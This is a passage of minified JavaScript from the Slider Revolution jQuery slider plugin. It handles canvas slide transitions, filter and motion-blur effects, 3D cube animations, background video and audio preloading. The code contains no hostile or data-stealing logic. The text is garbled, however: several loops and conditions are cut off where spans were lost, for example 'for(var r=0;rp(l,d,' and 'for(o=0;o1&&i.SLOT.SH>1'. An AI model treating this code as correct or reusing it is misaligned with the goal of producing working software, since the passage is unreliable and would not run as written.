"),i=i.length>1?i[0]:180,t)t.hasOwnProperty(a)&&t[a].indexOf("%")>=0&&(t[a]=""+Math.round(100*parseFloat(t[a].split("%,")[0].split("%)")[0]))/1e4);return{stops:t,deg:i,type:"linearGradient"}},getGradientColorStopPoints:function(e){var t=/rgb([\s\S]*?)%/g,i=[],a=[];do{(o=t.exec(e))&&i.push(o[0])}while(o);for(var r=0;rp(l,d,v[1].x,v[1].y)?(r=v[0].x,o=v[0].y):(r=v[1].x,o=v[1].y),p(l,d,v[2].x,v[2].y)>p(l,d,v[3].x,v[3].y)?(s=v[2].x,n=v[2].y):(s=v[3].x,n=v[3].y),Math.round(100*Math.atan2(d-o,l-r))/100===Math.round(a%(2*Math.PI)*100)/100){var y=r,w=o;r=s,o=n,s=y,n=w}return e.createLinearGradient(Math.round(r),Math.round(o),Math.round(s),Math.round(n))},transitions:{filter:{update:function(e,t,i){if(void 0!==e&&void 0!==e.tl){var a=void 0!==i||void 0!==e.tl.blur?" blur("+(void 0!==i?i:0+e.tl.blur!==void 0?e.tl.blur:0)+"px)":"";t.canvas.style.filter=void 0===e.tl.filter?""+a:e.tl.filter+a}},extendTimeLine:function(e,t,i){if(null!=t){var a=void 0!==t.g&&"0%"!==t.g&&0!==t.g?(""===a?"":" ")+"grayscale(_g_%)":"";a+=void 0!==t.h&&"100%"!==t.h&&100!==t.h?(""===a?"":" ")+"brightness(_h_%)":"",a+=void 0!==t.s&&"0px"!==t.s&&0!==t.s?(""===a?"":" ")+"sepia(_s_%)":"",a+=void 0!==t.c&&100!==t.c?(""===a?"":" ")+"contrast(_c_%)":"",""!==(a+=void 0!==t.i&&0!==t.i?(""===a?"":" ")+"invert(_i_%)":"")&&(t.tl={filter:a.replace("_g_",parseFloat(t.g)).replace("_h_",parseFloat(t.h)).replace("_s_",parseFloat(t.s)).replace("_c_",parseFloat(t.c)).replace("_i_",parseFloat(t.i))}),void 0!==t.b&&"0px"!==t.b&&0!==t.b&&(void 0===t.tl?t.tl={blur:parseFloat(t.b)}:t.tl.blur=parseFloat(t.b)),void 0!==t.tl&&(e.add(tpGS.gsap.to(t.tl,t.ms/t.sec,void 0===t.tl.filter?{blur:0}:void 0===t.tl.blur?{filter:a.replace("_g_","0").replace("_h_","100").replace("_s_","0").replace("_c_",100).replace("_i_",0),ease:t.e}:{blur:0,filter:a.replace("_g_","0").replace("_h_","100").replace("_s_","0").replace("_c_",100).replace("_i_",0),ease:t.e}),0),i.canvasFilter=!0)}}},slidingoverlay:{getBasic:function(){return t.getBasic({attr:["x","y"],in:{m:!0,o:-1,_xy:20,_gxys:10,_gxye:-10,zIndex:20,e:"power1.inOut"},out:{m:!0,reversed:!1,_xy:-100,o:0,zIndex:10,e:"power1.inOut"}})},updateAnim:function(e,i,a){var r=void 0!==i.in.x&&0!==i.in.x&&"0%"!==i.in.x?"x":"y";i.in["g"+r+"s"]=t.SATools.getOffset(i.in[r],i.in._gxys,a,1)+"%",i.in["g"+r+"e"]=t.SATools.getOffset(i.in[r],i.in._gxye,a,1)+"%",i.out[r]=t.SATools.getOffset(i.in[r],i.out._xy,a,1)+"%",i.in[r]=t.SATools.getOffset(i.in[r],i.in._xy,a,1)+"%";var o=parseInt(i.in[r])>=0;return i.in.d="x"===r?o?"left":"right":o?"up":"down",i},beforeDraw:function(e,t,i,a){void 0!==i.d&&(i._dxs="right"===i.d?0+i.mw:"left"===i.d?0-i.mw:0,i._dys="down"===i.d?0+i.mh:"up"===i.d?0-i.mh:0,i._xs="left"===i.d?0-i.mw:0,i._ys="up"===i.d?0-i.mh:0,i._xe="right"===i.d?a.SLOT.OW+i.mw:"left"===i.d?a.SLOT.OW-i.mw:a.SLOT.OW,i._ye="down"===i.d?a.SLOT.OH+i.mh:"up"===i.d?a.SLOT.OH-i.mh:a.SLOT.OH,t.beginPath(),t.rect("left"===i.d?Math.max(0,i._xs):"right"===i.d?Math.min(0,i._xs):0,"up"===i.d?Math.max(0,i._ys):"down"===i.d?Math.min(0,i._ys):0,"left"===i.d?Math.max(a.SLOT.OW,i._xe):"right"===i.d?Math.min(a.SLOT.OW,i._xe):i._xe,"up"===i.d?Math.max(a.SLOT.OH,i._ye):"down"===i.d?Math.min(a.SLOT.OH,i._ye):i._ye),t.clip())},afterDraw:function(e,t,i,a,r){void 0!==i.d&&(t.save(),t.beginPath(),t.rect(Math.max(0,i._dxs),Math.max(0,i._dys),i._xe,i._ye),t.clip(),t.save(),t.transform(r.csx,r.ssx,r.ssy,r.csy,.5*a.SLOT.OW+i.x+i.sgx,.5*a.SLOT.OH+i.y+i.sgy),t.drawImage(void 0!==a.shadowCanvas?a.shadowCanvas:a.loadobj.img,0,0,a.SLOT.OW,a.SLOT.OH,i.sgx-a.SLOT.OW/2,i.sgy-a.SLOT.OH/2,a.SLOT.OW,a.SLOT.OH),t.restore(),t.fillStyle="rgba(0,0,0,0.6)",t.fillRect(i.gx,i.gy,a.SLOT.OW,a.SLOT.OH),t.restore())},extendTimeLine:function(e,i,a,r,o,s){"in"!==o.direction||void 0===r.gxe&&void 0===r.gye||(jQuery.extend(!0,a[0],{d:r.d,gx:void 0===r.gxs?0:2*t.SATools.getOffset(r.gxs,s.width,o.sdir,0),gy:void 0===r.gys?0:2*t.SATools.getOffset(r.gys,s.height,o.sdir,0),sgx:void 0===r.gxs?0:t.SATools.getOffset(r.gxs,s.width,o.sdir,0),sgy:void 0===r.gys?0:t.SATools.getOffset(r.gys,s.height,o.sdir,0),mw:0-s.width,mh:0-s.height}),i.add(tpGS.gsap.to(a,r.ms/r.sec,{gx:void 0===r.gxe?0:2*t.SATools.getOffset(r.gxe,s.width,o.sdir,0),gy:void 0===r.gye?0:2*t.SATools.getOffset(r.gye,s.height,o.sdir,0),sgx:void 0===r.gxe?0:2*t.SATools.getOffset(r.gxe,s.width,o.sdir,0),sgy:void 0===r.gye?0:2*t.SATools.getOffset(r.gye,s.height,o.sdir,0),mw:s.width,mh:s.height,ease:r.e}),0))}},motionFilter:{init:function(e,t){return void 0!==t&&parseFloat(t)>0?(t=parseFloat(t),e.fmExists=!0,e.fmShadow=void 0===e.fmShadow?document.createElement("canvas"):e.fmShadow,e.fmCtx=e.fmShadow.getContext("2d"),e.fmShadow.width=e.ctx.canvas.width,e.fmShadow.height=e.ctx.canvas.height,e.fmCtx.globalAlpha=tpGS.gsap.utils.mapRange(100,0,40,0,t)/100,e.fmCtx.clearRect(0,0,e.ctx.canvas.width,e.ctx.canvas.height)):e.fmExists=!1,t},render:function(e,t){"partial"===t&&(e.fmCtx.globalCompositeOperation="source-over"),e.fmCtx.drawImage(e.canvas,0,0,e.canvas.width,e.canvas.height),e.ctx.clearRect(0,0,e.canvas.width,e.canvas.height),e.ctx.drawImage(e.fmCtx.canvas,0,0,e.canvas.width,e.canvas.height),"partial"===t&&(e.fmCtx.globalCompositeOperation="source-atop"),"partial"!==t&&"full"!==t||(e.fmCtx.fillStyle="rgba(255, 255, 255, 0.1)",e.fmCtx.fillRect(0,0,e.canvas.width,e.canvas.height))},clearFull:function(e,t){e.fmExists&&void 0!==e.fmCtx&&(e.ctx.clearRect(0,0,e.canvas.width,e.canvas.height),e.fmCtx.clearRect(0,0,e.canvas.width,e.canvas.height),void 0!==t&&t.render(t.time(),!0,!0))},complete:function(e){e.fmShadow&&e.fmShadow.remove()}},d3:{ticker:function(e,t,i){if(void 0!==e.helper){var a=e.smi*("in"===i?e.helper.oo:e.helper.o),r=e.sma*("in"===i?e.helper.oo:e.helper.o);if(e.gradient="vertical"===e.d?"in"===i?t.ctx.createLinearGradient(0,0,0,t.canvas.height):t.ctx.createLinearGradient(0,t.canvas.height,0,0):"in"===i?t.ctx.createLinearGradient(0,0,t.canvas.width,0):t.ctx.createLinearGradient(t.canvas.width,0,0,0),e.gradient.addColorStop(0,"rgba("+e.sc+","+a+")"),e.gradient.addColorStop(e.sl,"rgba("+e.sc+","+r+")"),t.ctx.fillStyle=e.gradient,t.ctx.fillRect(0,0,t.canvas.width,t.canvas.height),void 0!==t.cube&&t.cube.ctx){var o=void 0!==e.roomhelper&&!1!==e.roomhelper&&(90-e.roomhelper.r)/90;a=!1!==o?o:e.smi*e.helper.o,r=!1!==o?o:e.sma*e.helper.o,t.cube.ctx.clearRect(0,0,t.cube.ctx.canvas.width,t.cube.ctx.canvas.height),e.gradientW=!1!==o?"vertical"===e.d?e.t<0&&1===e.sdir||e.t>0&&-1===e.sdir?t.ctx.createRadialGradient(0,t.cube.ctx.canvas.width/2,0,0,0,2*t.cube.ctx.canvas.width):t.ctx.createRadialGradient(t.cube.ctx.canvas.width,0,0,0,0,2*t.cube.ctx.canvas.width):e.t>0&&1===e.sdir||e.t<0&&-1===e.sdir?t.ctx.createRadialGradient(t.cube.ctx.canvas.width/2,t.cube.ctx.canvas.height,0,t.cube.ctx.canvas.width/2,t.cube.ctx.canvas.height,t.cube.ctx.canvas.width):t.ctx.createRadialGradient(t.cube.ctx.canvas.width/2,.2*t.cube.ctx.canvas.height,0,t.cube.ctx.canvas.width/2,.2*t.cube.ctx.canvas.height,t.cube.ctx.canvas.width):"vertical"===e.d?t.ctx.createLinearGradient(0,0,0,t.cube.ctx.canvas.height):t.ctx.createLinearGradient(0,0,t.cube.ctx.canvas.width,0),e.gradientW.addColorStop(0,"rgba("+e.sc+","+(!1!==o?"a"===e.DIR?r:0:"a"===e.DIR?0:r)+")"),e.gradientW.addColorStop(1,"rgba("+e.sc+","+(!1!==o?"a"===e.DIR?0:r:"a"===e.DIR?r:0)+")"),t.cube.ctx.fillStyle=e.gradientW,t.cube.ctx.fillRect(0,0,t.cube.ctx.canvas.width,t.cube.ctx.canvas.height)}}},setWall:function(e,t,i,a,r,o){return e.TL=tpGS.gsap.timeline(),e.TL.add(tpGS.gsap.to(e.c,.2,{display:"block"}),0),"rotationX"===i?(e.ctx.canvas.width=a.w,e.ctx.canvas.height=a.w,e.TL.add(tpGS.gsap.set(e.w,{backgroundColor:r,width:a.w,height:a.w,transformOrigin:"50% 50% -"+a.w/2+"px",x:0,y:t>0?-(a.w-a.h):0,rotationX:t>0?-90:90,rotationY:0}),0)):(e.ctx.canvas.width=o?a.w:a.h,e.ctx.canvas.height=a.h,e.TL.add(tpGS.gsap.set(e.w,{backgroundColor:r,width:o?a.w:a.h,height:a.h,transformOrigin:"50% 50% -"+(o?a.w:a.h)/2+"px",x:t<0?a.w-a.h:0,y:0,rotationX:0,rotationY:t>0?-90:90}),0)),e.TL},buildCube:function(e){e.cube={c:document.createElement("div"),w:document.createElement("canvas")},e.cube.ctx=e.cube.w.getContext("2d"),e.cube.c.className="rs_fake_cube",e.cube.w.className="rs_fake_cube_wall",tpGS.gsap.set(e.cube.c,{width:e.mDIM.w,height:e.mDIM.h}),tpGS.gsap.set(e.cube.w,{width:e.mDIM.w,height:e.mDIM.h,backgroundColor:"#ccc"}),e.cube.c.appendChild(e.cube.w),e.sbg.appendChild(e.cube.c)},cubeTL:function(e,i,a,r){if("none"!==i.f&&void 0!==i.f){a.sbg.style.transformStyle="preserve-3d";var o=tpGS.gsap.timeline(),s="incube"===i.f?1:-1,n="incube"===i.f||"cube"===i.f,l="fly"===i.f?-30:90,d="turn"!==i.f&&!1!==i.t&&(_R_is_Editor||!0===t[e].firstSlideAnimDone),c=-1*i.z,p={},g={z:d?0:c,ease:"power1.inOut"},u={ease:i.e},h=[a.canvas],m=n?"50% 50% ":"20% 20% ",v="rotationX",f="rotationY",y="y",w="height",b=i.fd;if("vertical"!==i.d?(v="rotationY",f="rotationX",y="x",w="width",i.DIR=1===i.sdir?"b":"a"):i.DIR=1===i.sdir?"a":"b",w="width"===w?"w":"height"===w?"h":w,"turn"===i.f?(l="vertical"===i.d?-120:120,m="vertical"===i.d?1===i.sdir?"in"===r?"0% 0% 0%":"0% 100% 0%":"in"===r?"0% 100% 0%":"0% 0% 0%":1===i.sdir?"in"===r?"0% 0% 0%":"100% 0% 0%":"in"===r?"100% 0% 0%":"0% 0% 0%",g.z=0,u.ease="out"===r?"power3.out":u.ease,b="out"===r?b/2:b):m+=s*a.mDIM[w]/2+"px",u[v]=0,u[y]=0,"in"===r?p[v]=l*i.sdir:u[v]=-l*i.sdir,"fly"===i.f){var _=void 0===i.fz?20*Math.random()-10:parseInt(i.fz);"in"===r?(p[y]=a.mDIM[w]*(void 0===i.fdi?1.5:parseFloat(i.fdi))*i.sdir,p.rotateZ=i.sdir*_,u.rotateZ=0):(u[y]=a.mDIM[w]*(void 0===i.fdo?2:parseFloat(i.fdo))*i.sdir*-1,u.rotateZ=i.sdir*_*-1)}if(a.sbg.style.perspective=d?"2500px":"1500px",d){var S={z:c*("fly"===i.f?1.5:3),ease:"power1.inOut"},x={z:0,ease:"power1.inOut"};S[f]=-1*i.t,x[f]=0,i.roomhelper={r:0},o.add(tpGS.gsap.set(_R_is_Editor?RVS.SBGS[RVS.S.slideId].wrap:a.wrap[0],{perspective:1200,transformStyle:"preserve-3d",transformOrigin:m}),0),o.add(tpGS.gsap.to(a.sbg,3*i.md,S),0),o.add(tpGS.gsap.to(a.sbg,3*i.md,x),b-i.md),o.add(tpGS.gsap.to(i.roomhelper,3*i.md,{r:Math.abs(i.t)}),0),o.add(tpGS.gsap.to(i.roomhelper,3*i.md,{r:0}),b-i.md),"in"===r&&1!==s&&n&&(void 0===a.cube&&t.transitions.d3.buildCube(a),o.add(t.transitions.d3.setWall(a.cube,S[f],f,a.mDIM,i.c),0),h.push(a.cube.c))}else i.roomhelper=!1,o.add(tpGS.gsap.set(_R_is_Editor?RVS.SBGS[RVS.S.slideId].wrap:a.wrap[0],{perspective:"none",transformStyle:"none",transformOrigin:"50% 50%"}),0),!_R_is_Editor&&!0!==t[e].firstSlideAnimDone&&n&&(void 0===a.cube&&t.transitions.d3.buildCube(a),o.add(t.transitions.d3.setWall(a.cube,p[v],v,a.mDIM,i.c,!0),0),o.add(tpGS.gsap.fromTo(a.cube.w,4*i.md,{opacity:0},{opacity:1}),0),h.push(a.cube.c));return i.helper={o:0,oo:1},o.add(tpGS.gsap.to(i.helper,b,{o:1,oo:0,ease:i.e}),i.md+0),o.add(tpGS.gsap.set(h,jQuery.extend(!0,{},p,{force3D:!0,transformOrigin:m})),0),"turn"!==i.f&&o.add(tpGS.gsap.to(h,3*i.md,g),0),o.add(tpGS.gsap.to(h,b,u),i.md+0),"turn"!==i.f&&o.add(tpGS.gsap.to(h,3*i.md,{z:0,ease:"power1.inOut"}),b-i.md),"out"===r&&1!==s&&o.add(tpGS.gsap.to(h,2*i.md,{opacity:0}),i.dur-2*i.md),o}}}},animatedCanvasUpdate:function(e,i){i.cDIMS=t.getBGCanvasDetails(e,i),i.canvas.style.backgroundColor="transparent",i.canvas.style.opacity=1,i.canvas.width!==i.mDIM.width&&(i.canvas.width=i.mDIM.width),i.canvas.height!==i.mDIM.height&&(i.canvas.height=i.mDIM.height),_R_is_Editor||!0!==t[e].clearModalBG||(i.ctx.clearRect(0,0,i.canvas.width,i.canvas.height),t[e].clearModalBG=!1,i.sbg.parentNode.style.opacity=1),i.col=Math.min(i.col||1,i.canvas.width-10),i.row=Math.min(i.row||1,i.canvas.height-10),i.SLOT=jQuery.extend(!0,{s:{},c:{}},a(e,i.col,i.row,i.mDIM,"OW","OH")),i.SLOT.DX=0-i.SLOT.OW/2,i.SLOT.DY=0-i.SLOT.OH/2,i.row=Math.ceil(i.mDIM.height/i.SLOT.OH)||1,void 0!==i.callFromAnimatedCanvasUpdate&&i.callFromAnimatedCanvasUpdate()},slideAnimFinished:function(e,i,a,r){void 0!==i&&(void 0!==i.bgvid&&i.bgvid.length>0&&"out"===a.direction&&(i.drawVideoCanvasImagesRecall=!1,t.stopVideo(i.bgvid,e),i.bgvid[0].style.display="none",i.bgvid[0].style.zIndex=0),i.panFake&&i.panFake.img&&("out"===a.direction?i.panFake.img.style.display="none":i.panFake.img.style.display="block"),"in"===a.direction&&(t.transitions.motionFilter.complete(i),i.ctx.canvas.style.filter="none",tpGS.gsap.set(a.slide,{zIndex:20}),delete i.animateDirection,i.bgvid.length>0&&(i.isHTML5?tpGS.gsap.set(i.bgvid[0],{zIndex:30,display:"block",opacity:1}):(t.resetVideo(i.bgvid,e),tpGS.gsap.delayedCall(.1,function(){t.playVideo(i.bgvid,e,!0),tpGS.gsap.set(i.bgvid[0],{zIndex:30,display:"block",opacity:1})})))),"out"===a.direction?(tpGS.gsap.set(a.slide,{zIndex:10}),tpGS.gsap.set(i.canvas,{rotationX:0,rotationY:0,rotationZ:0,x:0,y:0,z:0,opacity:1}),i.currentState=void 0):i.currentState="idle",void 0!==i.cube&&(i.cube.c.style.display="none"),"in"===a.direction&&(t.updateSlideBGs(e,i.skeyindex,i),void 0===i.panzoom||_R_is_Editor||t.startPanZoom(t[e].pr_next_bg,e,void 0!==t[e].panzoomTLs[i.skeyindex]?t[e].panzoomTLs[i.skeyindex].progress():0,i.skeyindex,"play",i.key),void 0!==a.BG&&!0!==r&&a.BG.ctx.clearRect(0,0,2*i.canvas.width,2*i.canvas.height)))},animateCore:function(e,i,a,r){var o,s,n,l,d=i.canvas,c=i.ctx,p=0;if(i.col=a.col,i.row=a.row,_R_is_Editor&&i.three){for(i.canvas.style.display="block";i.three.scene.children.length>0;)i.three.scene.remove(i.three.scene.children[0]);i.three.canvas.parentNode.removeChild(i.three.canvas),i.three=void 0}t.animatedCanvasUpdate(e,i),a.row=i.row,i.animateDirection=r.direction,r.delay=void 0===r.delay?0:r.delay,n=a.col*a.row,l=Array(n),void 0===i.help_canvas&&"out"===r.direction&&void 0!==r.bgColor&&(i.help_canvas=document.createElement("canvas"),i.help_ctx=i.help_canvas.getContext("2d"),i.help_canvas.style.backgroundColor="transparent"),"out"===r.direction&&void 0!==r.bgColor&&(i.help_canvas.width=i.mDIM.width,i.help_canvas.height=i.mDIM.height,i.help_ctx.fillStyle=r.bgColor,i.help_ctx.fillRect(0,0,i.mDIM.width,i.mDIM.height)),a.mo=t.transitions.motionFilter.init(i,a.mo),a.dur=a.ms/a.sec,void 0!==r.d3&&(r.d3.dur=a.dur,r.d3.fd=.7*a.dur,r.d3.md=.15*a.dur,r.d3.sdir=r.sdir),i.SLOT.c={ws:0,hs:0,wd:0,hd:0},a.mo>0&&_R_is_Editor&&c.clearRect(0,0,d.width,d.height);var g=tpGS.gsap.timeline({onUpdate:function(){if(p=0,a.mo>0?t.transitions.motionFilter.render(i,a.moo):c.clearRect(0,0,d.width,d.height),i.help_canvas&&"out"===r.direction&&c.drawImage(i.help_canvas,0,0),(r.filter&&r.filter.u||!_R_is_Editor)&&t.transitions.filter.update(r.filter,c,i.canvasFilterBlur),_R_is_Editor&&0!==a.zIndex&&void 0!==a.zIndex&&tpGS.gsap.set(r.slide,{zIndex:a.zIndex}),void 0!==i.shadowCanvas)for(o=0;o1&&i.SLOT.SH>1&&c.drawImage(i.shadowCanvas,i.SLOT.SX,i.SLOT.SY,i.SLOT.SW,i.SLOT.SH,i.SLOT.DX,i.SLOT.DY,i.SLOT.DW,i.SLOT.DH),c.restore(),t.transitions[r.effect]&&t.transitions[r.effect].afterDraw&&t.transitions[r.effect].afterDraw(e,c,l[p],i,{csx:g,csy:u,ssx:h,ssy:m}),p++}void 0!==r.d3&&r.d3.su&&t.transitions.d3.ticker(r.d3,i,r.direction),i.currentState="animating"},onComplete:function(){t.slideAnimFinished(e,i,r)}});if(a.col*a.row<2&&(a.f="start"),0!==a.zIndex&&void 0!==a.zIndex&&g.add(tpGS.gsap.set(r.slide,{zIndex:parseInt(a.zIndex,0)}),0),a.m="false"!=a.m&&!1!==a.m,"in"===r.direction){for(o=0;o0&&void 0!==t[e].pr_next_bg[0],d=!!_R_is_Editor||void 0!==t[e].pr_active_bg&&t[e].pr_active_bg.length>0&&void 0!==t[e].pr_active_bg[0],p=_R_is_Editor?RVS.SBGS[RVS.S.slideId].n:l?t[e].sbgs[t[e].pr_next_bg[0].dataset.key]:void 0,g=_R_is_Editor?RVS.SBGS[RVS.S.slideId].c:d?t[e].sbgs[t[e].pr_active_bg[0].dataset.key]:void 0;s=1===s?-1:1,_R_is_Editor||(delete t[e].sc_indicator,delete t[e].sc_indicator_dir),o=jQuery.extend(!0,{},function(e,a,o){var s=void 0!==t.transitions[a.anim.e]&&void 0!==t.transitions[a.anim.e].getBasic?t.transitions[a.anim.e].getBasic():t.getBasic(),n="";s.out=null==s.out?{}:s.out,s.out.reversed=void 0===a.out&&(void 0===s.out.reversed||s.out.reversed);void 0!==a.iw&&parseInt(a.iw,0),void 0!==a.ow&&parseInt(a.ow,0);for(var l in s.attr)n=s.attr[l],s.in[n]=i(s.in[n],a.in[n]),s.out[n]=s.out.reversed?s.in[n]:void 0===a.out?s.out[n]:i(s.out[n],a.out[n]);return s.filter=void 0!==a.filter?jQuery.extend(!0,a.filter,a.filter):s.filter,t.transitions[a.anim.e]&&t.transitions[a.anim.e].updateAnim&&(s=t.transitions[a.anim.e].updateAnim(e,s,o)),s.e=a.anim.e,void 0!==s.in&&(s.in.col="random"===s.in.col?tpGS.gsap.utils.random(1,10,1):r(s.in.col),s.in.row="random"===s.in.row?tpGS.gsap.utils.random(1,10,1):r(s.in.row)),void 0!==s.out&&(s.out.col="random"===s.out.col?tpGS.gsap.utils.random(1,10,1):r(s.out.col),s.out.row="random"===s.out.row?tpGS.gsap.utils.random(1,10,1):r(s.out.row)),s}(e,a,s)),void 0!==p.random&&void 0!==t.SLTR&&void 0!==g&&(delete g.help_canvas,delete g.help_ctx),o.ms=i(void 0,void 0===a.anim.ms?1e3:a.anim.ms),o.f=i(void 0,a.anim.f),o.p=i(void 0,a.anim.p),o.d=i(void 0,a.anim.d),o.o=a.anim.o,void 0!==a.d3&&(a.d3.t=void 0!==a.d3.t&&0!==a.d3.t&&a.d3.t,a.d3.su="true"==a.d3.su||1==a.d3.su,a.d3.su&&(a.d3.smi=void 0===a.d3.smi?0:parseFloat(a.d3.smi),a.d3.sl=void 0===a.d3.sl?1:parseFloat(a.d3.sl),a.d3.sma=void 0===a.d3.sma?.5:parseFloat(a.d3.sma),a.d3.sc=void 0===a.d3.sc?"0,0,0":tpGS.gsap.utils.splitColor(a.d3.sc).join(",")),o.p="none",void 0!==o.in.row&&void 0!==o.in.col&&o.in.row*o.in.col>200&&(o.filter=void 0)),o.in.sec=void 0===o.in.sec?1e3:o.in.sec,o.in.stasec=void 0===o.in.stasec?void 0===o.d?1500:100*o.d:o.in.stasec,o.in.ms="default"===o.ms||"d"===o.ms?o.in.ms:"random"===o.ms?Math.round(1e3*Math.random()+300):null!=o.ms?parseInt(o.ms,0):o.in.ms,o.out.ms=o.in.ms,void 0!==o.filter&&(o.filter.ms=o.in.ms,o.filter.sec=o.in.sec,o.filter.e=void 0===o.filter.e||"default"===o.filter.e?o.in.e:o.filter.e),o.in.f=void 0===o.f||"default"===o.f||"d"===o.f?o.in.f:o.f,o.in.f="slidebased"===o.in.f?1==s?"start":"end":"oppslidebased"===o.in.f?1===s?"end":"start":o.in.f,o.out.f=o.in.f,o.out=jQuery.extend(!0,{},o.in,o.out),o.in.eng=o.out.eng=a.anim.eng,void 0!==o.out.eng&&null==t[o.out.eng]&&(o.out.o=0,o.in.o=0,o.in.ms=o.out.ms=1e3,o.in.eng=o.out.eng="animateCore"),void 0!==o.p&&"none"!==o.p&&(o.in.bg="dark"===o.p?"#000":"light"===o.p?"#fff":"transparent",o.out.delay="none"!==o.p?function(e,t){return e/2.5}:0,1===o.out.o&&0===o.out.x&&0===o.out.y&&(o.out.o=0)),"forceinout"===o.o?(o.in.zIndex=20,o.out.zIndex=10):"outin"!==o.o&&(1!==o.in.o||0!==o.in.x||0!==o.in.y||void 0===a.out||1===o.out.o&&0===o.out.x&&0===o.out.y)||(o.in.zIndex=10,o.out.zIndex=20),p.bgvid.length>0&&(o.in=c(e,o.in,p,"in")),d&&void 0!==g.bgvid&&g.bgvid.length>0&&(o.out=c(e,o.out,g,"out")),void 0!==o.out&&(o.out.simplify||o.in.simplify)&&(o.out=n(o.out)),o.in.simplify&&(o.in=n(o.in)),_R_is_Editor||requestAnimationFrame(function(){t.generalObserver(t.ISM,!0)}),o.in.eng=void 0===o.in.eng?"animateCore":o.in.eng,o.out.eng=void 0===o.out.eng?"animateCore":o.out.eng,d&&!0!==o.out.skip&&t[o.out.eng](e,g,o.out,{effect:o.e,slide:_R_is_Editor?RVS.SBGS[RVS.S.slideId].c.sbg:t[e].pr_active_slide,direction:"out",delay:0,bgColor:o.in.bg,sdir:s,filter:void 0,d3:a.d3,addOns:_R_is_Editor?a.addOns:void 0}),!0!==o.in.skip&&t[o.in.eng](e,p,o.in,{effect:o.e,slide:_R_is_Editor?RVS.SBGS[RVS.S.slideId].n.sbg:t[e].pr_next_slide,direction:"in",delay:d?"function"==typeof o.out.delay?o.out.delay(o.in.ms/1e3,o.out.row*o.out.col):o.out.delay:o.in.delay,BG:g,outslide:_R_is_Editor?RVS.SBGS[RVS.S.slideId].c.sbg:t[e].pr_active_slide,sdir:s,filter:o.filter,d3:a.d3,addOns:_R_is_Editor?a.addOns:void 0})},s=function(e,i,a){var r=e.height/e.width;if(a.ratio=a.conth/a.contw,a.ratior&&"cover"===i.bgfit)a.height=e.width*a.ratio;else if(a.ratio>r&&"contain"===i.bgfit||a.ratio=0?parseInt(a[0],0)/100*e.width-parseInt(a[0],0)/100*i.width:parseInt(a[0],0),y:"center"===a[1]||"50%"===a[1]?(e.height-i.height)/2:"top"===a[1]?0:"bottom"===a[1]?e.height-i.height:t.isNumeric(a[1])?0:a[1].indexOf("%")>=0?parseInt(a[1],0)/100*e.height-parseInt(a[1],0)/100*i.height:parseInt(a[1],0)}}(e,a,i.bgposition);return a.x=s.x,a.y=s.y,a},n=function(e){return e.o=0,e.r=0,e.row=1,e.col=1,e.x=0,e.y=0,e.sx=1,e.sy=1,e},l=function(e){return e="false"!==e&&!1!==e&&"off"!==e&&void 0!==e&&0!==e&&-1!==e},d=function(e){var t=e.toString(16);return 1==t.length?"0"+t:t},c=function(e,i,a,r){return i.skip=!1,"in"===r?a.isHTML5?(a.bgvid[0].style.display="none",t.resetVideo(a.bgvid,e),a.animateDirection="in",a.currentState="animating",a.drawVideoCanvasImagesRecall=!0,t.updateVideoFrames(e,a,!0),t.playVideo(a.bgvid,e)):(t[e].videos[a.bgvid[0].id].pauseCalled=!1,i.waitToSlideTrans=t[e].videos[a.bgvid[0].id].waitToSlideTrans,!0!==a.poster?(t.resetVideo(a.bgvid,e),t[e].videos[a.bgvid[0].id].prePlayForaWhile=!1,!0!==i.waitToSlideTrans&&t.playVideo(a.bgvid,e,!0),tpGS.gsap.fromTo(a.bgvid,i.ms/i.sec,{zIndex:30,display:"block",opacity:0},{opacity:1,zIndex:30,display:"block"}),a.loadobj.bgColor=!0,a.bgcolor="#000",i.simplify=!0):(t[e].videos[a.bgvid[0].id].prePlayForaWhile=!1,t.resetVideo(a.bgvid,e),t.playVideo(a.bgvid,e),a.bgvid[0].style.display="none",a.bgvid[0].style.zIndex=0,a.bgvid[0].style.opacity=0)):"out"===r&&(a.isHTML5?(a.currentState="animating",a.drawVideoCanvasImagesRecall=!0,t.updateVideoFrames(e,a,!0),window.requestAnimationFrame(function(){tpGS.gsap.to(a.bgvid,.1,{zIndex:0,display:"none"})})):(t.stopVideo(a.bgvid,e,!0),!0!==a.poster&&(a.loadobj.bgColor=!0,a.bgcolor="#000"))),i},p=function(e,t,i,a){return Math.sqrt(Math.pow(e-i,2)+Math.pow(t-a,2))},g=function(e,t){var i=t+Math.PI/2;return{x1:e.x,y1:e.y,x2:e.x+100*Math.cos(i),y2:e.y+100*Math.sin(i)}},u=function(e,t){var i=e.y2-e.y1,a=e.x1-e.x2,r=i*e.x1+a*e.y1,o=t.y2-t.y1,s=t.x1-t.x2,n=o*t.x1+s*t.y1,l=i*s-o*a;return 0!==l&&{x:Math.round((s*r-a*n)/l*100)/100,y:Math.round((i*n-o*r)/l*100)/100}};window.RS_MODULES=window.RS_MODULES||{},window.RS_MODULES.slideanims={loaded:!0,version:"6.6.0"},window.RS_MODULES.checkMinimal&&window.RS_MODULES.checkMinimal()}(jQuery),function(e){"use strict";jQuery.fn.revolution=jQuery.fn.revolution||{};var t=jQuery.fn.revolution;function i(e){return null==e?-1:t.isNumeric(e)?e:e.split(":").length>1?60*parseInt(e.split(":")[0],0)+parseInt(e.split(":")[1],0):e}jQuery.extend(!0,t,{preLoadAudio:function(e,i){t[i].videos=void 0===t[i].videos?{}:t[i].videos,e.find(".rs-layer-audio").each(function(){var a=jQuery(this),r=t[i].videos[a[0].id]=void 0===t[i].videos[a[0].id]?f(a.data(),"audio",t.gA(e[0],"key")):t[i].videos[a[0].id],o={};0===a.find("audio").length&&(o.src=null!=r.mp4?r.mp4:"",o.pre=r.pload||"",this.id=void 0===this.id||""===this.id?a.attr("audio-layer-"+Math.round(199999*Math.random())):this.id,o.id=this.id,void 0===t[i].audioqueue&&(t[i].audioqueue=[]),t[i].audioqueue.push(o),t.manageVideoLayer(a,i,t.gA(e[0],"key"),!0))})},preLoadAudioDone:function(e,i,a){var r=t[i].videos[e[0].id];t[i].audioqueue&&t[i].audioqueue.length>0&&jQuery.each(t[i].audioqueue,function(e,t){r.mp4!==t.src||t.pre!==a&&"auto"!==t.pre||(t.status="loaded")})},checkfullscreenEnabled:function(e){if(void 0!==window.fullScreen)return window.fullScreen;if(void 0!==document.fullscreen)return document.fullscreen;if(void 0!==document.mozFullScreen)return document.mozFullScreen;if(void 0!==document.webkitIsFullScreen)return document.webkitIsFullScreen;var i=t.isWebkit()&&/Apple Computer/.test(navigator.vendor)?42:5;return 